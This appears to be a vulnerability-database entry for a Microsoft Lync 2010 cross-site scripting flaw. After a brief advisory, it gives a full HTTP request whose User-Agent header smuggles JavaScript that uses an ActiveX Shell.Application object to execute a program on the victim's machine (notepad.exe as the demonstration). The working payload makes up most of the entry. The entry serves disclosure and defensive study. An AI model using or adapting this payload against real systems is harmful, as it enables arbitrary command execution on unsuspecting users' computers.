Microsoft Lync 2010 4.0.7577.0 - User-Agent Header Handling Arbitrary Command Execution

source: https://www.securityfocus.com/bid/57300/info

Microsoft Lync is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to perform unauthorized actions on behalf of the victim. 

GET /JW926520 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap,
application/x-ms-application, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var
commandtoRun =
"C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"
Host: meet.domainname.com
Connection: Keep-Alive
Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=example